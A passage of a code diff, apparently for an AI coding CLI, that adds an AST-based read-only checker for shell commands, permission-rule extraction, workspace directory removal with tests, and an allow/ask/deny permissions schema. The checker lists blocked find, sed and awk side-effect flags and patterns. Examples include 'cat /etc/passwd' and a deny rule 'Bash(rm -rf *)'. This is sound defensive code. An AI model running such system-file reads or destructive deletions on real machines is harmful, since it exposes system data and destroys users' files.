*/ +const BLOCKED_FIND_FLAGS = new Set([ + '-delete', + '-exec', + '-execdir', + '-ok', + '-okdir', +]); + +const BLOCKED_FIND_PREFIXES = ['-fprint', '-fprintf']; + +/** sed flags that cause in-place editing. */ +const BLOCKED_SED_PREFIXES = ['-i']; + +/** AWK side-effect patterns that can execute commands or write files. */ +const AWK_SIDE_EFFECT_PATTERNS = [ + /system\s*\(/, + /print\s+[^>|]*>\s*"[^"]*"/, + /printf\s+[^>|]*>\s*"[^"]*"/, + /print\s+[^>|]*>>\s*"[^"]*"/, + /printf\s+[^>|]*>>\s*"[^"]*"/, + /print\s+[^|]*\|\s*"[^"]*"/, + /printf\s+[^|]*\|\s*"[^"]*"/, + /getline\s*<\s*"[^"]*"/, + /"[^"]*"\s*\|\s*getline/, + /close\s*\(/, +]; + +/** SED side-effect patterns. */ +const SED_SIDE_EFFECT_PATTERNS = [ + /[^\\]e\s/, + /^e\s/, + /[^\\]w\s/, + /^w\s/, + /[^\\]r\s/, + /^r\s/, +]; + +/** + * Write-redirection operators in file_redirect nodes. + * Input-only redirections (`<`, `<<`, `<<<`) are safe. + */ +const WRITE_REDIRECT_OPERATORS = new Set(['>', '>>', '&>', '&>>', '>|']); + +/** + * Map of root command → known sub-command sets. + * Used by `extractCommandRules()` to identify sub-commands vs arguments. + */ +const KNOWN_SUBCOMMANDS: Record> = { + git: new Set([ + 'add', + 'am', + 'archive', + 'bisect', + 'blame', + 'branch', + 'bundle', + 'cat-file', + 'checkout', + 'cherry-pick', + 'clean', + 'clone', + 'commit', + 'config', + 'describe', + 'diff', + 'fetch', + 'format-patch', + 'gc', + 'grep', + 'init', + 'log', + 'ls-files', + 'ls-remote', + 'merge', + 'mv', + 'notes', + 'pull', + 'push', + 'range-diff', + 'rebase', + 'reflog', + 'remote', + 'reset', + 'restore', + 'revert', + 'rev-parse', + 'rm', + 'shortlog', + 'show', + 'stash', + 'status', + 'submodule', + 'switch', + 'tag', + 'worktree', + ]), + npm: new Set([ + 'access', + 'adduser', + 'audit', + 'bugs', + 'cache', + 'ci', + 'completion', + 'config', + 'create', + 'dedupe', + 'deprecate', + 'diff', + 'dist-tag', + 'docs', + 'doctor', + 'edit', + 'exec', + 'explain', + 'explore', + 'find-dupes', + 'fund', + 'help', + 'hook', + 'init', + 'install', + 'install-ci-test', + 'install-test', + 'link', + 'login', + 'logout', + 'ls', + 'org', + 'outdated', + 'owner', + 'pack', + 'ping', + 'pkg', + 'prefix', + 'profile', + 'prune', + 'publish', + 'query', + 'rebuild', + 'repo', + 'restart', + 'root', + 'run', + 'run-script', + 'search', + 'set-script', + 'shrinkwrap', + 'star', + 'stars', + 'start', + 'stop', + 'team', + 'test', + 'token', + 'uninstall', + 'unpublish', + 'unstar', + 'update', + 'version', + 'view', + 'whoami', + ]), + yarn: new Set([ + 'add', + 'autoclean', + 'bin', + 'cache', + 'check', + 'config', + 'create', + 'generate-lock-entry', + 'global', + 'help', + 'import', + 'info', + 'init', + 'install', + 'licenses', + 'link', + 'list', + 'login', + 'logout', + 'outdated', + 'owner', + 'pack', + 'policies', + 'publish', + 'remove', + 'run', + 'tag', + 'team', + 'test', + 'unlink', + 'unplug', + 'upgrade', + 'upgrade-interactive', + 'version', + 'versions', + 'why', + 'workspace', + 'workspaces', + ]), + pnpm: new Set([ + 'add', + 'audit', + 'create', + 'dedupe', + 'deploy', + 'dlx', + 'env', + 'exec', + 'fetch', + 'import', + 'init', + 'install', + 'install-test', + 'licenses', + 'link', + 'list', + 'ls', + 'outdated', + 'pack', + 'patch', + 'patch-commit', + 'prune', + 'publish', + 'rebuild', + 'remove', + 'root', + 'run', + 'server', + 'setup', + 'store', + 'test', + 'uninstall', + 'unlink', + 'update', + 'why', + ]), + docker: new Set([ + 'attach', + 'build', + 'commit', + 'compose', + 'container', + 'context', + 'cp', + 'create', + 'diff', + 'events', + 'exec', + 'export', + 'history', + 'image', + 'images', + 'import', + 'info', + 'inspect', + 'kill', + 'load', + 'login', + 'logout', + 'logs', + 'manifest', + 'network', + 'node', + 'pause', + 'plugin', + 'port', + 'ps', + 'pull', + 'push', + 'rename', + 'restart', + 'rm', + 'rmi', + 'run', + 'save', + 'search', + 'secret', + 'service', + 'stack', + 'start', + 'stats', + 'stop', + 'swarm', + 'system', + 'tag', + 'top', + 'trust', + 'unpause', + 'update', + 'version', + 'volume', + 'wait', + ]), + pip: new Set([ + 'install', + 'download', + 'uninstall', + 'freeze', + 'inspect', + 'list', + 'show', + 'check', + 'config', + 'search', + 'cache', + 'index', + 'wheel', + 'hash', + 'completion', + 'debug', + 'help', + ]), + pip3: new Set([ + 'install', + 'download', + 'uninstall', + 'freeze', + 'inspect', + 'list', + 'show', + 'check', + 'config', + 'search', + 'cache', + 'index', + 'wheel', + 'hash', + 'completion', + 'debug', + 'help', + ]), + cargo: new Set([ + 'add', + 'bench', + 'build', + 'check', + 'clean', + 'clippy', + 'doc', + 'fetch', + 'fix', + 'fmt', + 'generate-lockfile', + 'init', + 'install', + 'locate-project', + 'login', + 'metadata', + 'new', + 'owner', + 'package', + 'pkgid', + 'publish', + 'read-manifest', + 'remove', + 'report', + 'run', + 'rustc', + 'rustdoc', + 'search', + 'test', + 'tree', + 'uninstall', + 'update', + 'vendor', + 'verify-project', + 'version', + 'yank', + ]), + kubectl: new Set([ + 'annotate', + 'api-resources', + 'api-versions', + 'apply', + 'attach', + 'auth', + 'autoscale', + 'certificate', + 'cluster-info', + 'completion', + 'config', + 'cordon', + 'cp', + 'create', + 'debug', + 'delete', + 'describe', + 'diff', + 'drain', + 'edit', + 'events', + 'exec', + 'explain', + 'expose', + 'get', + 'kustomize', + 'label', + 'logs', + 'patch', + 'plugin', + 'port-forward', + 'proxy', + 'replace', + 'rollout', + 'run', + 'scale', + 'set', + 'taint', + 'top', + 'uncordon', + 'version', + 'wait', + ]), + make: new Set([]), // make targets are positional, not subcommands +}; + +/** Docker multi-level sub-command support (e.g., `docker compose up`). */ +const DOCKER_COMPOSE_SUBCOMMANDS = new Set([ + 'build', + 'config', + 'cp', + 'create', + 'down', + 'events', + 'exec', + 'images', + 'kill', + 'logs', + 'ls', + 'pause', + 'port', + 'ps', + 'pull', + 'push', + 'restart', + 'rm', + 'run', + 'start', + 'stop', + 'top', + 'unpause', + 'up', + 'version', + 'wait', + 'watch', +]); + +// --------------------------------------------------------------------------- +// Parser Singleton +// --------------------------------------------------------------------------- + +let parserInstance: Parser | null = null; +let bashLanguage: Parser.Language | null = null; +let initPromise: Promise | null = null; + +/** + * Resolve the path to a WASM file inside vendor/tree-sitter/. + * Handles three deployment scenarios: + * - Source (src/utils/*.ts): 2 levels up to package root + * - Transpiled (dist/src/utils/*.js): 3 levels up + * - Bundle (dist/cli.js): vendor at same level (0 levels) + */ +function resolveWasmPath(filename: string): string { + const inSrcUtils = __filename_.includes(path.join('src', 'utils')); + const levelsUp = !inSrcUtils ? 0 : __filename_.endsWith('.ts') ? 2 : 3; + return path.join( + __dirname_, + ...Array(levelsUp).fill('..'), + 'vendor', + 'tree-sitter', + filename, + ); +} + +/** + * Initialise the tree-sitter Parser singleton. + * Safe to call multiple times – only the first call does real work. + */ +export async function initParser(): Promise { + if (parserInstance) return; + if (initPromise) return initPromise; + + initPromise = (async () => { + const treeSitterWasm = resolveWasmPath('tree-sitter.wasm'); + await Parser.init({ + locateFile: () => treeSitterWasm, + }); + parserInstance = new Parser(); + bashLanguage = await Parser.Language.load( + resolveWasmPath('tree-sitter-bash.wasm'), + ); + parserInstance.setLanguage(bashLanguage); + })(); + + return initPromise; +} + +/** + * Parse a shell command string into a tree-sitter Tree. + * Initialises the parser lazily if needed. + */ +export async function parseShellCommand(command: string): Promise { + await initParser(); + return parserInstance!.parse(command); +} + +// --------------------------------------------------------------------------- +// AST Helpers +// --------------------------------------------------------------------------- + +type SyntaxNode = Parser.SyntaxNode; + +/** Collect all descendant nodes of given types. */ +function collectDescendants( + node: SyntaxNode, + types: Set, +): SyntaxNode[] { + const result: SyntaxNode[] = []; + const stack: SyntaxNode[] = [node]; + while (stack.length > 0) { + const current = stack.pop()!; + if (types.has(current.type)) { + result.push(current); + } + for (let i = current.childCount - 1; i >= 0; i--) { + stack.push(current.child(i)!); + } + } + return result; +} + +/** Check if a tree contains any command_substitution or process_substitution node. */ +function containsCommandSubstitutionAST(node: SyntaxNode): boolean { + return ( + collectDescendants( + node, + new Set(['command_substitution', 'process_substitution']), + ).length > 0 + ); +} + +/** Check if a redirected_statement contains a write-redirection. */ +function hasWriteRedirection(node: SyntaxNode): boolean { + if (node.type !== 'redirected_statement') return false; + for (let i = 0; i < node.childCount; i++) { + const child = node.child(i)!; + if (child.type === 'file_redirect') { + // The operator is the first non-descriptor child + for (let j = 0; j < child.childCount; j++) { + const op = child.child(j)!; + if (op.type === 'file_descriptor') continue; + // operator token + if (WRITE_REDIRECT_OPERATORS.has(op.type)) return true; + break; // only check the operator position + } + } + } + return false; +} + +/** + * Extract the command_name text from a `command` node. + * Handles leading variable_assignment(s) gracefully. + */ +function getCommandName(commandNode: SyntaxNode): string | null { + const nameNode = commandNode.childForFieldName('name'); + if (!nameNode) return null; + return nameNode.text.toLowerCase(); +} + +/** + * Argument node extraction using field name iteration. + */ +function getArgumentNodes(commandNode: SyntaxNode): SyntaxNode[] { + const args: SyntaxNode[] = []; + for (let i = 0; i < commandNode.childCount; i++) { + const fieldName = commandNode.fieldNameForChild(i); + if (fieldName === 'argument') { + args.push(commandNode.child(i)!); + } + } + return args; +} + +/** + * Strip outer quotes from a token text. + * tree-sitter preserves quotes in argument text (e.g., `'s/foo/bar/e'`), + * but for pattern matching we need the unquoted content. + */ +function stripOuterQuotes(text: string): string { + if (text.length >= 2) { + if ( + (text.startsWith("'") && text.endsWith("'")) || + (text.startsWith('"') && text.endsWith('"')) + ) { + return text.slice(1, -1); + } + } + return text; +} + +// --------------------------------------------------------------------------- +// Read-Only Analysis (per-command) +// --------------------------------------------------------------------------- + +/** + * Evaluate whether a single `command` node (simple command) is read-only. + */ +function evaluateCommandReadOnly(commandNode: SyntaxNode): boolean { + const root = getCommandName(commandNode); + if (!root) return true; // pure variable assignment + const argNodes = getArgumentNodes(commandNode); + const argTexts = argNodes.map((n) => stripOuterQuotes(n.text)); + + if (!READ_ONLY_ROOT_COMMANDS.has(root)) return false; + + // Command-specific analysis + if (root === 'git') return evaluateGitReadOnly(argTexts); + if (root === 'find') return evaluateFindReadOnly(argTexts); + if (root === 'sed') return evaluateSedReadOnly(argTexts); + if (root === 'awk') return evaluateAwkReadOnly(argTexts); + + return true; +} + +function evaluateGitReadOnly(args: string[]): boolean { + // Skip global flags to find subcommand + let idx = 0; + while (idx < args.length && args[idx]!.startsWith('-')) { + const flag = args[idx]!.toLowerCase(); + if (flag === '--version' || flag === '--help') return true; + idx++; + } + if (idx >= args.length) return true; // `git` with only flags + + const subcommand = args[idx]!.toLowerCase(); + if (!READ_ONLY_GIT_SUBCOMMANDS.has(subcommand)) return false; + + const rest = args.slice(idx + 1); + if (subcommand === 'remote') { + return !rest.some((a) => BLOCKED_GIT_REMOTE_ACTIONS.has(a.toLowerCase())); + } + if (subcommand === 'branch') { + return !rest.some((a) => BLOCKED_GIT_BRANCH_FLAGS.has(a)); + } + return true; +} + +function evaluateFindReadOnly(args: string[]): boolean { + for (const arg of args) { + const lower = arg.toLowerCase(); + if (BLOCKED_FIND_FLAGS.has(lower)) return false; + if (BLOCKED_FIND_PREFIXES.some((p) => lower.startsWith(p))) return false; + } + return true; +} + +function evaluateSedReadOnly(args: string[]): boolean { + for (const arg of args) { + if ( + BLOCKED_SED_PREFIXES.some((p) => arg.startsWith(p)) || + arg === '--in-place' + ) { + return false; + } + } + const scriptContent = args.join(' '); + return !SED_SIDE_EFFECT_PATTERNS.some((p) => p.test(scriptContent)); +} + +function evaluateAwkReadOnly(args: string[]): boolean { + const scriptContent = args.join(' '); + return !AWK_SIDE_EFFECT_PATTERNS.some((p) => p.test(scriptContent)); +} + +// --------------------------------------------------------------------------- +// Statement-level read-only analysis +// --------------------------------------------------------------------------- + +/** + * Recursively evaluate whether a statement AST node is read-only. + * + * Handles: command, pipeline, list, redirected_statement, subshell, + * variable_assignment, negated_command, and compound statements. + */ +function evaluateStatementReadOnly(node: SyntaxNode): boolean { + switch (node.type) { + case 'command': + // Check for command substitution anywhere inside the command + if (containsCommandSubstitutionAST(node)) return false; + return evaluateCommandReadOnly(node); + + case 'pipeline': { + // All commands in the pipeline must be read-only + for (const child of node.namedChildren) { + if (!evaluateStatementReadOnly(child)) return false; + } + return true; + } + + case 'list': { + // All commands joined by && / || must be read-only + for (const child of node.namedChildren) { + if (!evaluateStatementReadOnly(child)) return false; + } + return true; + } + + case 'redirected_statement': { + // Write redirections make it non-read-only + if (hasWriteRedirection(node)) return false; + // Evaluate the body statement + const body = node.namedChildren[0]; + return body ? evaluateStatementReadOnly(body) : true; + } + + case 'subshell': { + // Evaluate all statements inside the subshell + for (const child of node.namedChildren) { + if (!evaluateStatementReadOnly(child)) return false; + } + return true; + } + + case 'compound_statement': { + // { cmd1; cmd2; } – evaluate each inner statement + for (const child of node.namedChildren) { + if (!evaluateStatementReadOnly(child)) return false; + } + return true; + } + + case 'variable_assignment': + case 'variable_assignments': + // Pure assignments without a command – read-only (just sets env) + return true; + + case 'negated_command': { + const inner = node.namedChildren[0]; + return inner ? evaluateStatementReadOnly(inner) : true; + } + + case 'function_definition': + // Function definitions are not read-only operations per se + return false; + + case 'if_statement': + case 'while_statement': + case 'for_statement': + case 'case_statement': + case 'c_style_for_statement': + // Control flow constructs – conservatively non-read-only + return false; + + case 'declaration_command': + // export/declare/local/readonly/typeset – can modify env + return false; + + default: + // Unknown node types – conservatively non-read-only + return false; + } +} + +// --------------------------------------------------------------------------- +// Public API: isShellCommandReadOnlyAST +// --------------------------------------------------------------------------- + +/** + * AST-based check whether a shell command is read-only. + * + * Replaces the regex-based `isShellCommandReadOnly()` from shellReadOnlyChecker.ts. + * This version uses tree-sitter-bash for accurate parsing of: + * - Compound commands (&&, ||, ;, |) + * - Redirections (>, >>) + * - Command substitution ($(), ``) + * - Sub-shells, heredocs, etc. + * + * @param command - The shell command string to evaluate. + * @returns `true` if the command only performs read-only operations. + */ +export async function isShellCommandReadOnlyAST( + command: string, +): Promise { + if (typeof command !== 'string' || !command.trim()) return false; + + const tree = await parseShellCommand(command); + const root = tree.rootNode; + + // Empty program + if (root.namedChildCount === 0) return false; + + // Evaluate every top-level statement + for (const stmt of root.namedChildren) { + if (!evaluateStatementReadOnly(stmt)) { + tree.delete(); + return false; + } + } + + tree.delete(); + return true; +} + +// --------------------------------------------------------------------------- +// Public API: extractCommandRules +// --------------------------------------------------------------------------- + +/** + * Extract a simple command's root + subcommand from a `command` AST node. + * + * Returns a rule string following the minimum-scope principle: + * - root + known subcommand + `*` if there are remaining args + * - root + `*` if no known subcommand but has args + * - root only if the command has no args at all + */ +function extractRuleFromCommand(commandNode: SyntaxNode): string | null { + const rootName = getCommandName(commandNode); + if (!rootName) return null; + + const argNodes = getArgumentNodes(commandNode); + const argTexts = argNodes.map((n) => n.text); + + // Skip leading flags to find potential subcommand + let idx = 0; + while (idx < argTexts.length && argTexts[idx]!.startsWith('-')) { + idx++; + } + + const knownSubs = KNOWN_SUBCOMMANDS[rootName]; + let rule = rootName; + + if (knownSubs && knownSubs.size > 0 && idx < argTexts.length) { + const potentialSub = argTexts[idx]!.toLowerCase(); + if (knownSubs.has(potentialSub)) { + rule = `${rootName} ${argTexts[idx]!}`; + + // Docker multi-level: docker compose + if ( + rootName === 'docker' && + potentialSub === 'compose' && + idx + 1 < argTexts.length + ) { + const composeSub = argTexts[idx + 1]!.toLowerCase(); + if (DOCKER_COMPOSE_SUBCOMMANDS.has(composeSub)) { + rule = `${rootName} compose ${argTexts[idx + 1]!}`; + // Remaining args after compose sub + if (idx + 2 < argTexts.length) { + rule += ' *'; + } + return rule; + } + } + + // Remaining args after subcommand + if (idx + 1 < argTexts.length) { + rule += ' *'; + } + return rule; + } + } + + // No known subcommand – if there are any args, append * + if (argTexts.length > 0) { + rule += ' *'; + } + + return rule; +} + +/** + * Recursively extract rules from a statement node. + * Handles pipeline, list, redirected_statement, etc. + */ +function extractRulesFromStatement(node: SyntaxNode): string[] { + switch (node.type) { + case 'command': + return [extractRuleFromCommand(node)].filter(Boolean) as string[]; + + case 'pipeline': + case 'list': + case 'compound_statement': + case 'subshell': { + const rules: string[] = []; + for (const child of node.namedChildren) { + rules.push(...extractRulesFromStatement(child)); + } + return rules; + } + + case 'redirected_statement': { + const body = node.namedChildren[0]; + return body ? extractRulesFromStatement(body) : []; + } + + case 'negated_command': { + const inner = node.namedChildren[0]; + return inner ? extractRulesFromStatement(inner) : []; + } + + case 'variable_assignment': + case 'variable_assignments': + // Pure assignments – no rule needed + return []; + + default: + // For complex constructs (if/while/for/case), try to extract from + // named children conservatively + return []; + } +} + +/** + * Extract minimum-scope wildcard permission rules from a shell command. + * + * Rules follow the minimum-scope principle: + * - Preserve root command + sub-command, replace arguments with `*` + * - Compound commands are split → separate rules for each part + * - No arguments → no wildcard suffix + * + * @param command - The full shell command string. + * @returns Deduplicated list of permission rule strings. + * + * @example + * extractCommandRules('git clone https://github.com/foo/bar.git') + * // → ['git clone *'] + * + * extractCommandRules('npm install express') + * // → ['npm install *'] + * + * extractCommandRules('npm outdated') + * // → ['npm outdated'] + * + * extractCommandRules('cat /etc/passwd') + * // → ['cat *'] + * + * extractCommandRules('git clone foo && npm install') + * // → ['git clone *', 'npm install'] + * + * extractCommandRules('ls -la /tmp') + * // → ['ls *'] + * + * extractCommandRules('docker compose up -d') + * // → ['docker compose up *'] + */ +export async function extractCommandRules(command: string): Promise { + if (typeof command !== 'string' || !command.trim()) return []; + + const tree = await parseShellCommand(command); + const root = tree.rootNode; + const rules: string[] = []; + + for (const stmt of root.namedChildren) { + rules.push(...extractRulesFromStatement(stmt)); + } + + tree.delete(); + + // Deduplicate while preserving order + return [...new Set(rules)]; +} + +// --------------------------------------------------------------------------- +// Reset (for testing) +// --------------------------------------------------------------------------- + +/** + * Reset the parser singleton. Only intended for testing. + * @internal + */ +export function _resetParser(): void { + if (parserInstance) { + parserInstance.delete(); + parserInstance = null; + } + bashLanguage = null; + initPromise = null; +} diff --git a/packages/core/src/utils/shellReadOnlyChecker.ts b/packages/core/src/utils/shellReadOnlyChecker.ts index 6ab08a359155..47097731391c 100644 --- a/packages/core/src/utils/shellReadOnlyChecker.ts +++ b/packages/core/src/utils/shellReadOnlyChecker.ts @@ -4,6 +4,12 @@ * SPDX-License-Identifier: Apache-2.0 */ +/** + * @deprecated Use `isShellCommandReadOnlyAST` from `./shellAstParser.js` instead. + * This module uses regex + shell-quote for command parsing and has known edge-case + * limitations. The AST-based replacement provides accurate parsing via tree-sitter-bash. + */ + import { parse } from 'shell-quote'; import { detectCommandSubstitution, @@ -336,6 +342,11 @@ function evaluateShellSegment(segment: string): boolean { return true; } +/** + * @deprecated Use `isShellCommandReadOnlyAST` from `./shellAstParser.js` instead. + * This function uses regex + shell-quote for command parsing with known edge-case + * limitations. The AST-based replacement provides accurate parsing via tree-sitter-bash. + */ export function isShellCommandReadOnly(command: string): boolean { if (typeof command !== 'string' || !command.trim()) { return false; diff --git a/packages/core/src/utils/workspaceContext.test.ts b/packages/core/src/utils/workspaceContext.test.ts index 686c50ba3315..cf4cca2eace3 100644 --- a/packages/core/src/utils/workspaceContext.test.ts +++ b/packages/core/src/utils/workspaceContext.test.ts @@ -412,3 +412,126 @@ describe('WorkspaceContext with optional directories', () => { expect(directories).toEqual([cwd, existingDir1]); }); }); + +describe('WorkspaceContext removeDirectory', () => { + let tempDir: string; + let cwd: string; + let addedDir: string; + let anotherDir: string; + + beforeEach(() => { + tempDir = fs.realpathSync( + fs.mkdtempSync(path.join(os.tmpdir(), 'workspace-context-remove-')), + ); + cwd = path.join(tempDir, 'project'); + addedDir = path.join(tempDir, 'added'); + anotherDir = path.join(tempDir, 'another'); + + fs.mkdirSync(cwd, { recursive: true }); + fs.mkdirSync(addedDir, { recursive: true }); + fs.mkdirSync(anotherDir, { recursive: true }); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + it('should remove a runtime-added directory', () => { + const ctx = new WorkspaceContext(cwd); + ctx.addDirectory(addedDir); + expect(ctx.getDirectories()).toContain(addedDir); + + const result = ctx.removeDirectory(addedDir); + expect(result).toBe(true); + expect(ctx.getDirectories()).not.toContain(addedDir); + }); + + it('should not remove the initial cwd directory', () => { + const ctx = new WorkspaceContext(cwd, [addedDir]); + // Only cwd is truly initial (non-removable) + const result = ctx.removeDirectory(cwd); + expect(result).toBe(false); + expect(ctx.getDirectories()).toContain(cwd); + }); + + it('should allow removing an additional directory passed at construction', () => { + const ctx = new WorkspaceContext(cwd, [addedDir]); + // additionalDirectories are NOT initial — they can be removed + const result = ctx.removeDirectory(addedDir); + expect(result).toBe(true); + expect(ctx.getDirectories()).not.toContain(addedDir); + }); + + it('should return false for non-existent directory', () => { + const ctx = new WorkspaceContext(cwd); + const result = ctx.removeDirectory('/non/existent/path'); + expect(result).toBe(false); + }); + + it('should notify listeners when a directory is removed', () => { + const ctx = new WorkspaceContext(cwd); + ctx.addDirectory(addedDir); + + const listener = vi.fn(); + ctx.onDirectoriesChanged(listener); + + ctx.removeDirectory(addedDir); + expect(listener).toHaveBeenCalledOnce(); + }); + + it('should not notify listeners when removal fails', () => { + const ctx = new WorkspaceContext(cwd); + + const listener = vi.fn(); + ctx.onDirectoriesChanged(listener); + + ctx.removeDirectory(addedDir); // not in workspace + expect(listener).not.toHaveBeenCalled(); + }); +}); + +describe('WorkspaceContext isInitialDirectory', () => { + let tempDir: string; + let cwd: string; + let additionalDir: string; + let runtimeDir: string; + + beforeEach(() => { + tempDir = fs.realpathSync( + fs.mkdtempSync(path.join(os.tmpdir(), 'workspace-context-initial-')), + ); + cwd = path.join(tempDir, 'project'); + additionalDir = path.join(tempDir, 'additional'); + runtimeDir = path.join(tempDir, 'runtime'); + + fs.mkdirSync(cwd, { recursive: true }); + fs.mkdirSync(additionalDir, { recursive: true }); + fs.mkdirSync(runtimeDir, { recursive: true }); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + it('should return true for the initial cwd directory', () => { + const ctx = new WorkspaceContext(cwd); + expect(ctx.isInitialDirectory(cwd)).toBe(true); + }); + + it('should return false for an additional directory passed at construction', () => { + const ctx = new WorkspaceContext(cwd, [additionalDir]); + // additionalDirectories are no longer considered 'initial' + expect(ctx.isInitialDirectory(additionalDir)).toBe(false); + }); + + it('should return false for a runtime-added directory', () => { + const ctx = new WorkspaceContext(cwd); + ctx.addDirectory(runtimeDir); + expect(ctx.isInitialDirectory(runtimeDir)).toBe(false); + }); + + it('should return false for a directory not in the workspace', () => { + const ctx = new WorkspaceContext(cwd); + expect(ctx.isInitialDirectory('/some/random/path')).toBe(false); + }); +}); diff --git a/packages/core/src/utils/workspaceContext.ts b/packages/core/src/utils/workspaceContext.ts index 1b36f3650d51..5f052100dc76 100755 --- a/packages/core/src/utils/workspaceContext.ts +++ b/packages/core/src/utils/workspaceContext.ts @@ -31,10 +31,13 @@ export class WorkspaceContext { */ constructor(directory: string, additionalDirectories: string[] = []) { this.addDirectory(directory); + // Snapshot only the primary working directory as "initial" (non-removable). + // Additional directories (from settings / CLI flags) are added after + // the snapshot so they remain removable by the user. + this.initialDirectories = new Set(this.directories); for (const additionalDirectory of additionalDirectories) { this.addDirectory(additionalDirectory); } - this.initialDirectories = new Set(this.directories); } /** @@ -112,6 +115,53 @@ export class WorkspaceContext { return Array.from(this.initialDirectories); } + /** + * Removes a directory from the workspace. + * Cannot remove initial directories (those set at construction time). + * @param directory The directory path to remove + * @returns True if the directory was removed, false if not found or is an initial directory + */ + removeDirectory(directory: string): boolean { + // Resolve to match the stored form + let resolved: string; + try { + resolved = this.resolveAndValidateDir(directory); + } catch { + // If we can't resolve it, try matching by raw string (e.g. directory was deleted) + resolved = path.isAbsolute(directory) + ? directory + : path.resolve(process.cwd(), directory); + } + + if (this.initialDirectories.has(resolved)) { + debugLogger.warn(`Cannot remove initial directory: ${resolved}`); + return false; + } + + if (!this.directories.has(resolved)) { + return false; + } + + this.directories.delete(resolved); + this.notifyDirectoriesChanged(); + return true; + } + + /** + * Checks whether a directory is an initial (non-removable) directory. + */ + isInitialDirectory(directory: string): boolean { + try { + const resolved = this.resolveAndValidateDir(directory); + return this.initialDirectories.has(resolved); + } catch { + const absolutePath = path.isAbsolute(directory) + ? directory + : path.resolve(process.cwd(), directory); + return this.initialDirectories.has(absolutePath); + } + } + setDirectories(directories: readonly string[]): void { const newDirectories = new Set(); for (const dir of directories) { diff --git a/packages/core/vendor/tree-sitter/tree-sitter-bash.wasm b/packages/core/vendor/tree-sitter/tree-sitter-bash.wasm new file mode 100755 index 000000000000..214d0a73a458 Binary files /dev/null and b/packages/core/vendor/tree-sitter/tree-sitter-bash.wasm differ diff --git a/packages/core/vendor/tree-sitter/tree-sitter.wasm b/packages/core/vendor/tree-sitter/tree-sitter.wasm new file mode 100755 index 000000000000..8f6156796b12 Binary files /dev/null and b/packages/core/vendor/tree-sitter/tree-sitter.wasm differ diff --git a/packages/vscode-ide-companion/schemas/settings.schema.json b/packages/vscode-ide-companion/schemas/settings.schema.json index 82d702133e10..61734faaf381 100644 --- a/packages/vscode-ide-companion/schemas/settings.schema.json +++ b/packages/vscode-ide-companion/schemas/settings.schema.json @@ -361,6 +361,33 @@ } } }, + "permissions": { + "description": "Permission rules controlling tool usage. Rules are evaluated in priority order: deny > ask > allow.", + "type": "object", + "properties": { + "allow": { + "description": "Tools or commands that are auto-approved without confirmation. Examples: \"ShellTool\", \"Bash(git *)\", \"ReadFileTool\".", + "type": "array", + "items": { + "type": "string" + } + }, + "ask": { + "description": "Tools or commands that always require user confirmation. Takes precedence over allow rules.", + "type": "array", + "items": { + "type": "string" + } + }, + "deny": { + "description": "Tools or commands that are always blocked. Highest priority rule. Examples: \"ShellTool\", \"Bash(rm -rf *)\".", + "type": "array", + "items": { + "type": "string" + } + } + } + }, "tools": { "description": "Settings for built-in and custom tools.", "type": "object", @@ -392,21 +419,21 @@ } }, "core": { - "description": "Paths to core tool definitions.", + "description": "Deprecated. Use permissions.allow instead.", "type": "array", "items": { "type": "string" } }, "allowed": { - "description": "A list of tool names that will bypass the confirmation dialog.", + "description": "Deprecated. Use permissions.allow instead.", "type": "array", "items": { "type": "string" } }, "exclude": { - "description": "Tool names to exclude from discovery.", + "description": "Deprecated. Use permissions.deny instead.", "type": "array", "items": { "type": "string"